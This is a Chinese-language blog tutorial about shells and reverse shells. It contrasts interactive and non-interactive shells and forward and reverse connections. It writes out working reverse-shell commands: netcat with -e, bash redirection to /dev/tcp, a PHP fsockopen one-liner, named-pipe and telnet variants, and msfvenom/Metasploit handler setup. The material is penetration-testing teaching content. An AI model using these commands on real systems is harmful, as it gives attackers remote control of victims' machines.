反弹shell-程序员宅基地

技术标签: 运维  linux  服务器  网络安全  

一、课时目标
1.理解shell的概念
2.理解交互式shell和非交互式shell的区别
3.掌握反弹shell的原理和方法
二、shell的相关概念
2.1 什么是shell
Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(command interpreter,命令解析器)。它类似于DOS下的COMMAND.COM和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序.

在这里插入图片描述

2.2 非交互式shell、交互式shell以及他们的区别
在测试过程中,我们可以将获取的shell大致分为两种类型,非交互式shell和交互式shell。
非交互式shell
非交互式模式,以shell script(非交互)方式执行。在这种模式 下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就结束了。通过菜刀、蚁剑获取的虚拟终端就是一种典型的非交互式shell。
它可以执行一些普通的命令并输出结果,但不能执行与用户进行交互的命令.这个交互怎么理解呢?比如正常情况下使用su切换用户时,系统会提示我们输入密码.非交互式shell则不能实现这种结果.
在这里插入图片描述
交互式shell
交互式模式就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
如linux修改passwd,会提示让你输入新的密码。这种模式被称作交互式shell
在这里插入图片描述

当我们已经拿下主机的webshell之后,想要获取一个可以直接操作主机的虚拟终端时,会遇到两种情况。

2.3 正向连接
在这里插入图片描述

第一种,目标主机具有公网IP地址,能够被外网直接访问。此时攻击者可以直接访问目标机器,这种连接方式叫做正向连接。我们只需要在目标机器开启shell监听,然后攻击机器直接访问即可。具体操作如下:

1.使用NC工具在目标机器开启端口进行监听,并将本地的bash发布出去。
nc -lvvp 9999 -e /bin/bash
2.攻击端直接访问目标机器
nc 192.168.122.6 9999

nc是netcat的简写,它是一款实用的网络工具,可以实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
-l 监听模式,用于入站连接
-v 详细输出–用两个-v可得到更详细的内容
-p port 本地端口号

2.4 反弹shell
第二种,目标主机处于内网环境下,不可以被外网直接访问,只能主动将shell反弹出来.这种方式称作反弹shell.
在这里插入图片描述

2.4.1 什么是反弹shell?
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端,本质上是网络概念的客户端与服务端的角色反转。

  1. 在攻击机器开启端口监听
    攻击者:nc -lvnp 9999
  2. 使用nc命令直接建立一个tcp 9999 的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机
    受害者: nc -e /bin/bash 10.0.0.1 9999

2.4.2 反弹shell的其他应用场景
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
比如:
1.目标机器的ip动态改变,你不能持续控制。(只要对方的ip地址一换,权限就会丢失.)
2.由于防火墙等限制,对方机器只能发送请求,不能接收请求。(攻击者发往目标机器的命令,被防火墙拦截无法执行,但目标机器在本地执行命令输出到攻击机器则不会受影响)
以上,这些情况下都没有办法使用常规的正向连接,让受害机器主动连接攻击机器,才是最佳的办法。

2.5 反弹shell的其他方式
2.5.1系统自带的bash
攻击者:nc -lvp 9999
受害者:bash -i >& /dev/tcp/192.168.xx.xx/9999 0>&1

bash -i >& /dev/tcp/192.168.239.128/9999 0>&1
bash -i代表在本地打开一个bash

bash产生了一个交互环境与本地主机主动发起与目标主机9999端口建立的连接(即TCP 9999 会话连接)相结合,然后在重定向个tcp 9999会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。

2.5.2利用脚本
python、perl、ruby、php、jsp、asp等
如:php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec("/bin/sh -i <&3 >&3 2>&3");’

2.5.3利用第三方服务或者工具
nc、telenet、socat、msf
如:nc -e /bin/sh 10.0.0.1 1234

#不同版本的nc不一定支持-e选项,当-e参数被禁用时可以使用
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | 192.168.x.x 5999 1>/tmp/backpipe

telnet #当nc和/dev/tcp不可用时
mknod backpipe p && telnet 192.168.x.x 8080 0<backpipe | /bin/bash 1>backpipe

msf #msf生成的后门shell必须由exploit/multi/handler模块来监听
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.1.1 lport=4444 -f raw > xx.php

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.x.x
set LPORT 4444
exploit

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_39430198/article/details/123367860

智能推荐

苏州大学计算机专业课872考研真题1999~2022含答案解析大纲专业课PPT 百度网盘分享 黄金典藏版_苏州大学考研真题百度教育-程序员宅基地

文章浏览阅读1.8k次,点赞5次,收藏9次。苏州大学计算机专业课872考研真题1999~2022含答案解析大纲专业课PPT 百度网盘分享 黄金典藏版_苏州大学考研真题百度教育

机器学习特征选择方法_最优特征子集是什么-程序员宅基地

文章浏览阅读3.5k次,点赞2次,收藏30次。文章目录前言特征选择过滤法Pearson系数卡方检验互信息和最大信息系数距离相关系数方差选择法包装法嵌入法总结前言最近在看吴恩达的深度学习机器学习课程。地址:deeplearningai。课程在机器学习特征工程的课程中提到特征选择。在机器学习项目生命周期里,特征工程占据很大的比重,特征工程关乎最终模型性能的好坏,正所谓“数据和特征决定了机器学习的上限,而模型和算法只是逼近这个上限而已”。而特征选择是特征工程的一个重要问题,本文结合【机器学习】特征选择(Feature Selection)方法汇总一文,一_最优特征子集是什么

软件质量管理_ieee729-程序员宅基地

文章浏览阅读5.1k次。定义ANSI/IEEE Std 729-1983定义软件质量为“与软件产品满足规定的和隐含的需求的能力有关的特征或特性的全体”。M.J.Fisher定义软件质量为“所有描述计算机软件优秀程度的特性的组合”特性◆软件质量特性,反映了软件的本质。讨论一个软件的质量,问题最终要归结到定义软件的质量特性。◆定义一个软件的质量,就等价于为该软件定义一系列质量特性。◆人们通常把影响软件质量的特性用..._ieee729

JavaScript——Date类_javascript ~date-程序员宅基地

文章浏览阅读585次。1、创建Date对象:var d = new Date();2、设置时间和日期的值(1)、只声明距离1970年1月1日凌晨12点的毫秒数var d = nw Date(0);(2)、parse()和UTF()parse()接受字符串为参数,把该字符串转为日期值(毫秒表示),若传入值不能转换为日期,则返回NaN如:创建2004年5月25日创建Date对象var d = _javascript ~date

mac地址漂移flapping的前因后果-程序员宅基地

文章浏览阅读1.3w次,点赞2次,收藏32次。一、什么是mac地址flapping? mac地址漂移是指:在同一个vlan内,mac地址表项的出接口出现变更。如图: 二、产生的原因1、因为环路或VRRP切换,导致的MAC地址漂移告警。(不予关注)2、因为无线用户漫游,导致的MAC地址漂移告警。(不予关注)3、服务器双网卡绑定的问题。4、病毒,广播风暴也会引起MAC 地址偏移。三、MAC地址漂移造成的影..._mac-address flapping-logging

vhdl 程序思路总结_vhdl实现饱和截位-程序员宅基地

文章浏览阅读398次。(方便随时记忆,长时间更新)FIFO:1.注意避免出现亚稳态; =>格雷码做地址2.空时不能读,满时不能写2019.4.30vhdl计算的时候做了截位处理,所以会和simulink的浮点计算存在一定的误差。根据截位的情况,误差可能不是关于0点对称,可能是偏向某一个方向。浮点数介绍:https://www.cnblogs.com/icmzn/p/50..._vhdl实现饱和截位

随便推点

mybatis和Hibernate的区别_mybatis和hibernate的区别图-程序员宅基地

文章浏览阅读220次。1.什么是HibernateHibernate是关系型映射框架(ORM),程序员只要定义好实体到数据库的映射关系,即可通过Hibernate提供的方法完成持久层的操作,不需要对sql熟练掌握,Hibernate会根据存储逻辑,自动生成对应的sql,并调用jdbc接口加以执行2.什么是MybatisMybatis是持久层框架,侧重于实体和sql之间的映射关系..._mybatis和hibernate的区别图

pycharm安装库及安装失败解决办法_file 'c:\users\15394\pycharmprojects\pythonproject-程序员宅基地

文章浏览阅读9.8k次,点赞13次,收藏27次。pycharm安装包的步骤为稍等片刻,就安装好了,可以通过调用cmd(window+R,再输入cmd),输入python -m pip list即可查看安装的包。但是我在安装过程中出现了错误,无论是采用cmd安装还是pycharm安装库都不行,在网上查找之后,发现使用的是虚拟环境下的解释器,下面介绍如何将虚拟环境的解释器改成安装python真实路径的解释器。找到路径就可以了。..._file 'c:\users\15394\pycharmprojects\pythonproject\test.py' already exists

PHP文件操作入门_file_use_include_path-程序员宅基地

文章浏览阅读513次。文件读写1、读取文件file_get_contents():将文件中的内容读取到一个字符串中file_get_contents($filename,$use_include_path,$context,$offset,$maxlen);$filename:指定要读取的文件路径;其他参数为可选参数$use_include_path,若想在php.ini中配置的 include_path路..._file_use_include_path

如何利用SQLyog数据库管理工具生成各表的关系视图_sqlyog er图-程序员宅基地

文章浏览阅读3.8w次,点赞21次,收藏38次。 工具: 1. SQLyog-12.0.9-0.x64 2. Mysql5.7 mysql5.7直接去官网下载就可以了。SQLyog的破解版,在这个网址有http://download.csdn.net/download/whdxkcx/10027742。 过程: 1.打..._sqlyog er图

编程开发需知的24项_bestcssbuttongenerat-程序员宅基地

文章浏览阅读182次。1、element-ui一种好用的ui库 用户特别多,element遇到的问题基本都可以百度找到解决办法(要知道你遇到的问题别人也会遇到)2、vxe-table 一种强大的table组件库(真的很强大,这个是专门针对表格开发的库,功能很全也很强大,唯一不好的是用户不多,可能会遇到解决不了的bug,但我相信这个库一定会火)3、Vant - 轻量、可靠的移动端 Vue 组件库 (一般争对..._bestcssbuttongenerat

警告:没有一个已生成的程序包含要从中继承的组件.....以及程序集加载错误。解决方案_vs2005 没有包含要从中继承的组件的已生成程序集-程序员宅基地

文章浏览阅读1.2k次。引言最近在机房收费系统重构的过程中,需要创建父窗体和子窗体,应用模板方法,对代码进行封装、继承。达到代码的重用,体现的是面向对象的思想。可万万没想到的是,我在创建父窗体和子窗体的时候遇到了很大的麻烦。从早上忙到晚上,而且还是在很多的师哥师姐的帮忙下才最终解决了这个问题。下面我就来分享给大家。问题步骤一、我们创建子窗体的过程如下:步骤二:正常情况下我们点击添加一切都会万事大吉,可没想..._vs2005 没有包含要从中继承的组件的已生成程序集